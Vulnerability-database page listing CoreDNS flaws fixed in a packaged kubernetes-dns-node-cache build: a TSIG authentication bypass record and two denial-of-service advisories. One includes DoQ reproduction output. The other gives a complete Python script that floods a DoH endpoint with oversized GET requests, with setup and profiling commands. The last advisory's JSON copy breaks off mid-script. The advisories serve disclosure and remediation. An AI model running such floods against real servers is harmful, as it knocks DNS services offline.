Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package kubernetes-dns-node-cache-fips version 1.26.0-r1 fixes 18 vulnerabilities: CVE-2025-47950, CVE-2023-28452, CVE-2024-0874, CVE-2025-58063, ghsa-cvx7-x8pj-x2gw...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "kubernetes-dns-node-cache-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.0-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.26.0-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package kubernetes-dns-node-cache-fips version 1.26.0-r1 fixes 18 vulnerabilities: CVE-2025-47950, CVE-2023-28452, CVE-2024-0874, CVE-2025-58063, ghsa-cvx7-x8pj-x2gw...",
"id": "CLEANSTART-2026-LS13491",
"modified": "2026-08-14T05:57:11Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubernetes/dns"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in kubernetes-dns-node-cache-fips 1.26.0-r1",
"upstream": [
"CVE-2025-47950",
"CVE-2023-28452",
"CVE-2024-0874",
"CVE-2025-58063",
"ghsa-cvx7-x8pj-x2gw",
"CVE-2026-26017",
"CVE-2026-26018",
"ghsa-h75p-j8xm-m278",
"ghsa-vp29-5652-4fw9",
"ghsa-2wpx-qpw2-g5h5",
"ghsa-h8mm-c463-wjq3",
"ghsa-qhmp-q7xh-99rh",
"CVE-2026-32934",
"CVE-2026-32936",
"CVE-2026-33190",
"CVE-2026-33489",
"CVE-2026-35579",
"ghsa-63cw-r7xf-jmwr"
]
}
CVE-2026-35579 (GCVE-0-2026-35579)
Vulnerability from cvelistv5 – Published: 2026-05-05 20:29 – Updated: 2026-07-15 01:02| URL | Tags |
|---|---|
| https://github.com/coredns/coredns/security/advis… | x_refsource_CONFIRM |
| https://access.redhat.com/security/cve/CVE-2026-35579 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2466905 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:25127 | vendor-advisoryx_refsource_REDHAT |
| Vendor | Product | Version | |
|---|---|---|---|
| coredns | coredns |
Affected:
< 1.14.3
|
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2.14 |
Unaffected:
1780204249 , < *
(rpm)
cpe:/a:redhat:acm:2.14::el9 |
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2 |
cpe:/a:redhat:acm:2 |
|
| Red Hat | Red Hat OpenShift Container Platform 4 |
cpe:/a:redhat:openshift:4 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-35579",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-06T14:30:00.602863Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-06T14:30:35.454Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-vp29-5652-4fw9"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:acm:2.14::el9"
],
"defaultStatus": "affected",
"packageName": "rhacm2/lighthouse-coredns-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.14",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780204249",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "unaffected",
"packageName": "rhacm2/lighthouse-agent-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "unaffected",
"packageName": "openshift4/ose-coredns-rhel9",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
}
],
"datePublic": "2026-05-05T20:29:16.903Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in CoreDNS. An unauthenticated network attacker can exploit incorrect handling of TSIG (Transaction Signature) authentication in the gRPC, QUIC, DoH (DNS over HTTPS), and DoH3 transport implementations. This vulnerability allows an attacker to bypass TSIG protection, leading to unauthorized access to functionalities such as zone transfers and dynamic DNS updates. For DoH and DoH3, the issue is more severe as any request with a TSIG record is treated as authenticated, even with an invalid key."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-303",
"description": "Incorrect Implementation of Authentication Algorithm",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-15T01:02:40.767Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-35579"
},
{
"name": "RHBZ#2466905",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466905"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-35579.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25127"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:25127: Red Hat Advanced Cluster Management for Kubernetes 2.14"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-05-05T21:01:06.423Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-05-05T20:29:16.903Z",
"value": "Made public."
}
],
"title": "github.com/coredns/coredns: CoreDNS: Authentication bypass allows unauthorized access to TSIG-protected functionalities",
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "coredns",
"vendor": "coredns",
"versions": [
{
"status": "affected",
"version": "\u003c 1.14.3"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "CoreDNS is a DNS server written in Go. In versions prior to 1.14.3, the gRPC, QUIC, DoH, and DoH3 transport implementations incorrectly handle TSIG authentication. For gRPC and QUIC, the server checks whether the TSIG key name exists in the configuration but never calls dns.TsigVerify() to validate the HMAC. If the key name matches a configured key, the tsigStatus field remains nil and the tsig plugin treats the request as successfully authenticated regardless of the MAC value. For DoH and DoH3, the issue is more severe: the DoHWriter.TsigStatus() method unconditionally returns nil, and the server never inspects the TSIG record at all. Any request containing a TSIG record is treated as authenticated over DoH and DoH3, even if the key name is invalid and the MAC is arbitrary.\n\nAn unauthenticated network attacker can exploit this to bypass TSIG-protected functionality such as AXFR/IXFR zone transfers, dynamic DNS updates, or other TSIG-gated plugin behavior. The DoH and DoH3 variants have a lower exploitation bar because the attacker does not need to know a valid TSIG key name.\n\nThis issue has been fixed in version 1.14.3. As a workaround, disable gRPC, QUIC, DoH, and DoH3 listeners where TSIG authentication is required, or restrict network-level access to affected transport ports to trusted sources only."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-287",
"description": "CWE-287: Improper Authentication",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-05T20:29:16.903Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/coredns/coredns/security/advisories/GHSA-vp29-5652-4fw9",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-vp29-5652-4fw9"
}
],
"source": {
"advisory": "GHSA-vp29-5652-4fw9",
"discovery": "UNKNOWN"
},
"title": "CoreDNS TSIG authentication bypass on gRPC, QUIC, DoH, and DoH3 transports"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-35579",
"datePublished": "2026-05-05T20:29:16.903Z",
"dateReserved": "2026-04-03T20:09:02.827Z",
"dateUpdated": "2026-07-15T01:02:40.767Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-2WPX-QPW2-G5H5
Vulnerability from github – Published: 2026-04-28 22:40 – Updated: 2026-05-08 15:27Summary
CoreDNS' DNS-over-QUIC (DoQ) server can be driven into large goroutine and memory growth by a remote client that opens many QUIC streams and stalls after sending only 1 byte. Even with a small configured quic { worker_pool_size ... }, CoreDNS still spawns a goroutine per accepted stream (workers + waiters) and active workers can block indefinitely in io.ReadFull() with no per-stream read deadline, enabling unauthenticated remote DoS via memory exhaustion/OOM-kill.
Details
CoreDNS' DoQ server uses a global worker pool (streamProcessPool) to limit concurrent stream processing, but when the pool is full it still spawns a goroutine per accepted stream that waits to acquire a worker token: select { case s.streamProcessPool <- ...: go ...; default: go ... wait for token ... } (core/dnsserver/server_quic.go)
Additionally, the DoQ message framing reads are blocking io.ReadFull() calls with no per-stream read deadline: readDOQMessage() reads the 2-byte length prefix and message body via io.ReadFull() (core/dnsserver/server_quic.go)
This allows an attacker to pin all workers by sending 1 byte (so io.ReadFull() blocks waiting for the second byte of the DoQ length prefix), while also creating an unbounded backlog of goroutines waiting for a worker token.
Note: this appears to be a result of an incomplete fix/regression for CVE-2025-47950 (GHSA-cvx7-x8pj-x2gw).
PoC
- Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well)
- Run python3 ./doq-dos-repro.py
- Expected sample output: *** Start CoreDNS *** Corefile: /tmp/vh-f003-doq-mem-regression/Corefile Log: /tmp/vh-f003-doq-mem-regression/coredns.log
*** Baseline sample (idle) *** rss_kib=49380 go_goroutines=17
*** Build + run partial-stream flooder *** go: downloading golang.org/x/net v0.43.0 go: downloading golang.org/x/crypto v0.41.0 go: downloading go.uber.org/mock v0.5.2 go: downloading github.com/stretchr/testify v1.11.1 go: downloading golang.org/x/sys v0.35.0 go: downloading github.com/pmezard/go-difflib v1.0.0 go: downloading github.com/davecgh/go-spew v1.1.1 go: downloading gopkg.in/yaml.v3 v3.0.1
*** Candidate sample (during attack) *** rss_kib=137968 go_goroutines=15557
*** Flooder output *** opened conns=60 streams_per_conn=256 total_streams=15360
*** Wrote results *** /tmp/vh-f003-doq-mem-regression/results.json
*** OK *** DoQ flood caused goroutine/RSS growth despite worker_pool_size.
Impact
Unauthenticated remote DoS on an encrypted DNS transport via goroutine/RSS growth leading to OOM-kill/crash and service outage.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32934"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T22:40:38Z",
"nvd_published_at": "2026-05-05T20:16:35Z",
"severity": "HIGH"
},
"details": "### Summary\nCoreDNS\u0027 DNS-over-QUIC (DoQ) server can be driven into large goroutine and memory growth by a remote client that opens many QUIC streams and stalls after sending only 1 byte. Even with a small configured quic { worker_pool_size ... }, CoreDNS still spawns a goroutine per accepted stream (workers + waiters) and active workers can block indefinitely in io.ReadFull() with no per-stream read deadline, enabling unauthenticated remote DoS via memory exhaustion/OOM-kill.\n\n### Details\nCoreDNS\u0027 DoQ server uses a global worker pool (streamProcessPool) to limit concurrent stream processing, but when the pool is full it still spawns a goroutine per accepted stream that waits to acquire a worker token: select { case s.streamProcessPool \u003c- ...: go ...; default: go ... wait for token ... } (core/dnsserver/server_quic.go)\n\nAdditionally, the DoQ message framing reads are blocking io.ReadFull() calls with no per-stream read deadline: readDOQMessage() reads the 2-byte length prefix and message body via io.ReadFull() (core/dnsserver/server_quic.go)\n\nThis allows an attacker to pin all workers by sending 1 byte (so io.ReadFull() blocks waiting for the second byte of the DoQ length prefix), while also creating an unbounded backlog of goroutines waiting for a worker token.\n\nNote: this appears to be a result of an incomplete fix/regression for CVE-2025-47950 (GHSA-cvx7-x8pj-x2gw).\n\n### PoC\n1. Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well)\n2. Run python3 ./doq-dos-repro.py\n3. Expected sample output:\n*** Start CoreDNS ***\nCorefile: /tmp/vh-f003-doq-mem-regression/Corefile\nLog: /tmp/vh-f003-doq-mem-regression/coredns.log\n\n*** Baseline sample (idle) ***\nrss_kib=49380 go_goroutines=17\n\n*** Build + run partial-stream flooder ***\ngo: downloading golang.org/x/net v0.43.0\ngo: downloading golang.org/x/crypto v0.41.0\ngo: downloading go.uber.org/mock v0.5.2\ngo: downloading github.com/stretchr/testify v1.11.1\ngo: downloading golang.org/x/sys v0.35.0\ngo: downloading github.com/pmezard/go-difflib v1.0.0\ngo: downloading github.com/davecgh/go-spew v1.1.1\ngo: downloading gopkg.in/yaml.v3 v3.0.1\n\n*** Candidate sample (during attack) ***\nrss_kib=137968 go_goroutines=15557\n\n*** Flooder output ***\nopened conns=60 streams_per_conn=256 total_streams=15360\n\n*** Wrote results ***\n/tmp/vh-f003-doq-mem-regression/results.json\n\n*** OK ***\nDoQ flood caused goroutine/RSS growth despite worker_pool_size.\n\n\n### Impact\nUnauthenticated remote DoS on an encrypted DNS transport via goroutine/RSS growth leading to OOM-kill/crash and service outage.",
"id": "GHSA-2wpx-qpw2-g5h5",
"modified": "2026-05-08T15:27:59Z",
"published": "2026-04-28T22:40:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-2wpx-qpw2-g5h5"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-cvx7-x8pj-x2gw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32934"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CoreDNS\u0027 DoQ worker pool does not bound stream backlog"
}
GHSA-63CW-R7XF-JMWR
Vulnerability from github – Published: 2026-04-28 22:43 – Updated: 2026-06-12 19:25Summary
CoreDNS's DNS-over-HTTPS (DoH) GET path accepts oversized dns= query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning 400 Bad Request.
A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to /dns-query?dns=... and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.
This is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.
Details
The vulnerable flow is in plugin/pkg/doh/doh.go:
RequestToMsg()dispatches GET requests torequestToMsgGet():plugin/pkg/doh/doh.go:79-89requestToMsgGet()callsreq.URL.Query(), extractsdns, and passes it directly tobase64ToMsg():plugin/pkg/doh/doh.go:99-108base64ToMsg()decodes the full attacker-controlled value viab64Enc.DecodeString()and only then attempts to unpack it into a DNS message:plugin/pkg/doh/doh.go:121-130
Relevant snippet:
func requestToMsgGet(req *http.Request) (*dns.Msg, error) {
values := req.URL.Query()
b64, ok := values["dns"]
if !ok {
return nil, fmt.Errorf("no 'dns' query parameter found")
}
if len(b64) != 1 {
return nil, fmt.Errorf("multiple 'dns' query values found")
}
return base64ToMsg(b64[0])
}
func base64ToMsg(b64 string) (*dns.Msg, error) {
buf, err := b64Enc.DecodeString(b64)
if err != nil {
return nil, err
}
m := new(dns.Msg)
err = m.Unpack(buf)
return m, err
}
````
By contrast, the POST path applies a bounded read before unpacking:
```go
func toMsg(r io.ReadCloser) (*dns.Msg, error) {
buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))
if err != nil {
return nil, err
}
m := new(dns.Msg)
err = m.Unpack(buf)
return m, err
}
So, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.
In addition, the HTTPS server is created in core/dnsserver/server_https.go:87-92 without an explicit early GET-path size guard in this path:
srv := &http.Server{
ReadTimeout: s.ReadTimeout,
WriteTimeout: s.WriteTimeout,
IdleTimeout: s.IdleTimeout,
ErrorLog: stdlog.New(&loggerAdapter{}, "", 0),
}
As a result, oversized DoH GET request targets are processed through:
- HTTP request-line parsing
- URL query parsing / unescaping
- DoH GET extraction
- base64 decoding
- DNS message unpacking
before the request is rejected.
Root cause
The root cause is missing early size validation on the DoH GET path.
More specifically:
requestToMsgGet()performsreq.URL.Query()on attacker-controlled oversized request targets.- The extracted
dnsvalue is passed tobase64ToMsg()without an encoded-length or decoded-length bound. base64ToMsg()fully decodes the attacker-controlled string before any DNS-size rejection.- The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.
This creates a pre-validation resource-amplification path for DoH GET.
PoC
Local test setup
I reproduced this locally against CoreDNS 1.14.2 over HTTPS with pprof enabled.
Create a self-signed certificate:
openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \
-keyout key.pem -out cert.pem \
-subj "/CN=127.0.0.1"
Create this Corefile:
https://127.0.0.1:8443 {
whoami
log
errors
tls cert.pem key.pem
pprof 127.0.0.1:6060
}
Run CoreDNS:
./coredns -conf Corefile
Proof-of-concept script
#!/usr/bin/env python3
import argparse
import base64
import collections
import concurrent.futures
import http.client
import ssl
import time
def send_one(host, port, path, timeout):
ctx = ssl._create_unverified_context()
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
try:
conn.request("GET", path, headers={
"Accept": "application/dns-message",
"Connection": "close",
})
resp = conn.getresponse()
resp.read()
return resp.status
except Exception as e:
return f"ERR:{type(e).__name__}"
finally:
try:
conn.close()
except Exception:
pass
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=8443)
ap.add_argument("--decoded-kib", type=int, default=720)
ap.add_argument("--workers", type=int, default=64)
ap.add_argument("--requests", type=int, default=5000)
ap.add_argument("--timeout", type=float, default=5.0)
args = ap.parse_args()
raw = b"A" * (args.decoded_kib * 1024)
b64 = base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
path = "/dns-query?dns=" + b64
print(f"[+] target = https://{args.host}:{args.port}")
print(f"[+] decoded bytes = {len(raw):,}")
print(f"[+] encoded chars = {len(b64):,}")
print(f"[+] request-target length = {len(path):,}")
print(f"[+] workers = {args.workers}, requests = {args.requests}")
print("[+] 400 responses are expected; the issue is expensive processing before rejection.\n")
started = time.time()
results = collections.Counter()
with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:
futs = [
ex.submit(send_one, args.host, args.port, path, args.timeout)
for _ in range(args.requests)
]
for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):
results[fut.result()] += 1
if i % 10 == 0 or i == args.requests:
print(f"[{i}/{args.requests}] {dict(results)}")
elapsed = time.time() - started
print("\n[+] done")
print(f"[+] elapsed = {elapsed:.2f}s")
print(f"[+] summary = {dict(results)}")
if __name__ == "__main__":
main()
Run the PoC:
python3 poc_doh_get_oversize_https.py \
--host 127.0.0.1 \
--port 8443 \
--decoded-kib 720 \
--workers 64 \
--requests 5000
Profiling commands used during reproduction
CPU profile:
(curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpu_attack.pb.gz &) ; \
sleep 1 ; \
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \
wait
go tool pprof -top ./coredns cpu_attack.pb.gz
Heap / allocation profiles:
curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000
curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz
go tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz
go tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz
Reproduction results
I confirmed the issue on:
- CoreDNS 1.14.2
- linux/amd64
- go1.26.1
PoC payload characteristics:
- decoded payload size:
737,280 bytes - base64url-encoded
dnslength:983,040 - request-target length:
983,055
Observed request outcome:
5000 / 5000requests returned400 Bad Request- total runtime for the 5000-request run:
18.22s
The important point is that the requests are rejected only after expensive processing has already happened.
CPU profile highlights
The CPU profile captured during the attack showed significant time in:
net/http.readRequestnet/url.ParseQuery/net/url.QueryUnescape/net/url.unescapegithub.com/coredns/coredns/plugin/pkg/doh.requestToMsgGetgithub.com/coredns/coredns/plugin/pkg/doh.base64ToMsgencoding/base64.(*Encoding).DecodeString- Go GC worker paths
Representative cumulative values from the captured profile included:
github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP→10.91sgithub.com/coredns/coredns/plugin/pkg/doh.RequestToMsg→10.88sgithub.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet→10.88sgithub.com/coredns/coredns/plugin/pkg/doh.base64ToMsg→3.50sencoding/base64.(*Encoding).DecodeString→3.46snet/http.readRequest→10.57snet/url.(*URL).Query/ParseQuery/QueryUnescape→7.38sruntime.gcBgMarkWorkerand related GC paths were also heavily active
This demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.
Allocation profile highlights
Allocation profiling showed very large transient allocation volume caused by the rejected requests:
- total
alloc_space:26,756.48 MB
Top contributors included:
net/textproto.(*Reader).readLineSlice→19,668.19 MBnet/textproto.(*Reader).ReadLine→3,738.84 MBencoding/base64.(*Encoding).DecodeString→2,766.16 MB
Within the CoreDNS DoH GET path specifically:
github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg→2,775.67 MBgithub.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet→2,775.67 MBgithub.com/coredns/coredns/plugin/pkg/doh.base64ToMsg→2,773.67 MB
Heap delta (inuse_space) also showed live growth attributable to this path, including:
encoding/base64.(*Encoding).DecodeString→7,629.75 kB
Memory observations
Runtime memory monitoring showed a clear increase in peak resident usage during the attack:
- baseline
VmHWM / VmRSSbefore load was approximately55,864 kB - observed
VmHWMduring testing reached approximately146,100 kB
So even though requests returned 400, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.
Impact
A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.
Impact includes:
- elevated CPU consumption
- large transient allocations
- increased garbage-collection pressure
- higher peak resident memory usage
- degraded throughput and responsiveness
- denial of service risk on memory-constrained or heavily loaded deployments
This is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.
The fact that the final HTTP status is 400 Bad Request does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.
Suggested remediation
A robust fix should address both stages of the problem:
- Apply an early bound on the DoH GET request target / raw query length before expensive query parsing.
- Enforce an encoded-length and decoded-length limit for the
dnsparameter before callingDecodeString(). - Preserve equivalent size constraints across GET and POST paths.
A minimal hardening direction would be:
- reject oversized GET requests before
req.URL.Query()on the DoH path - reject
dnsvalues whose encoded length exceeds the maximum valid DNS message encoding - reject any decoded payload larger than the supported DNS message size before unpacking
Credit request: When referencing, republishing, or issuing downstream advisories for this vulnerability, please preserve the original researcher credit as Ali Firas (thesmartshadow).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32936"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T22:43:47Z",
"nvd_published_at": "2026-05-05T20:16:36Z",
"severity": "HIGH"
},
"details": "### Summary\n\nCoreDNS\u0027s DNS-over-HTTPS (DoH) GET path accepts oversized `dns=` query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning `400 Bad Request`.\n\nA remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to `/dns-query?dns=...` and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.\n\nThis is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.\n\n### Details\n\nThe vulnerable flow is in `plugin/pkg/doh/doh.go`:\n\n- `RequestToMsg()` dispatches GET requests to `requestToMsgGet()`:\n - `plugin/pkg/doh/doh.go:79-89`\n- `requestToMsgGet()` calls `req.URL.Query()`, extracts `dns`, and passes it directly to `base64ToMsg()`:\n - `plugin/pkg/doh/doh.go:99-108`\n- `base64ToMsg()` decodes the full attacker-controlled value via `b64Enc.DecodeString()` and only then attempts to unpack it into a DNS message:\n - `plugin/pkg/doh/doh.go:121-130`\n\nRelevant snippet:\n\n```go\nfunc requestToMsgGet(req *http.Request) (*dns.Msg, error) {\n values := req.URL.Query()\n b64, ok := values[\"dns\"]\n if !ok {\n return nil, fmt.Errorf(\"no \u0027dns\u0027 query parameter found\")\n }\n if len(b64) != 1 {\n return nil, fmt.Errorf(\"multiple \u0027dns\u0027 query values found\")\n }\n return base64ToMsg(b64[0])\n}\n\nfunc base64ToMsg(b64 string) (*dns.Msg, error) {\n buf, err := b64Enc.DecodeString(b64)\n if err != nil {\n return nil, err\n }\n\n m := new(dns.Msg)\n err = m.Unpack(buf)\n\n return m, err\n}\n````\n\nBy contrast, the POST path applies a bounded read before unpacking:\n\n```go\nfunc toMsg(r io.ReadCloser) (*dns.Msg, error) {\n buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))\n if err != nil {\n return nil, err\n }\n m := new(dns.Msg)\n err = m.Unpack(buf)\n return m, err\n}\n```\n\nSo, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.\n\nIn addition, the HTTPS server is created in `core/dnsserver/server_https.go:87-92` without an explicit early GET-path size guard in this path:\n\n```go\nsrv := \u0026http.Server{\n ReadTimeout: s.ReadTimeout,\n WriteTimeout: s.WriteTimeout,\n IdleTimeout: s.IdleTimeout,\n ErrorLog: stdlog.New(\u0026loggerAdapter{}, \"\", 0),\n}\n```\n\nAs a result, oversized DoH GET request targets are processed through:\n\n1. HTTP request-line parsing\n2. URL query parsing / unescaping\n3. DoH GET extraction\n4. base64 decoding\n5. DNS message unpacking\n\nbefore the request is rejected.\n\n### Root cause\n\nThe root cause is missing early size validation on the DoH GET path.\n\nMore specifically:\n\n* `requestToMsgGet()` performs `req.URL.Query()` on attacker-controlled oversized request targets.\n* The extracted `dns` value is passed to `base64ToMsg()` without an encoded-length or decoded-length bound.\n* `base64ToMsg()` fully decodes the attacker-controlled string before any DNS-size rejection.\n* The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.\n\nThis creates a pre-validation resource-amplification path for DoH GET.\n\n### PoC\n\n#### Local test setup\n\nI reproduced this locally against CoreDNS 1.14.2 over HTTPS with `pprof` enabled.\n\nCreate a self-signed certificate:\n\n```bash\nopenssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \\\n -keyout key.pem -out cert.pem \\\n -subj \"/CN=127.0.0.1\"\n```\n\nCreate this `Corefile`:\n\n```txt\nhttps://127.0.0.1:8443 {\n whoami\n log\n errors\n tls cert.pem key.pem\n pprof 127.0.0.1:6060\n}\n```\n\nRun CoreDNS:\n\n```bash\n./coredns -conf Corefile\n```\n\n#### Proof-of-concept script\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport base64\nimport collections\nimport concurrent.futures\nimport 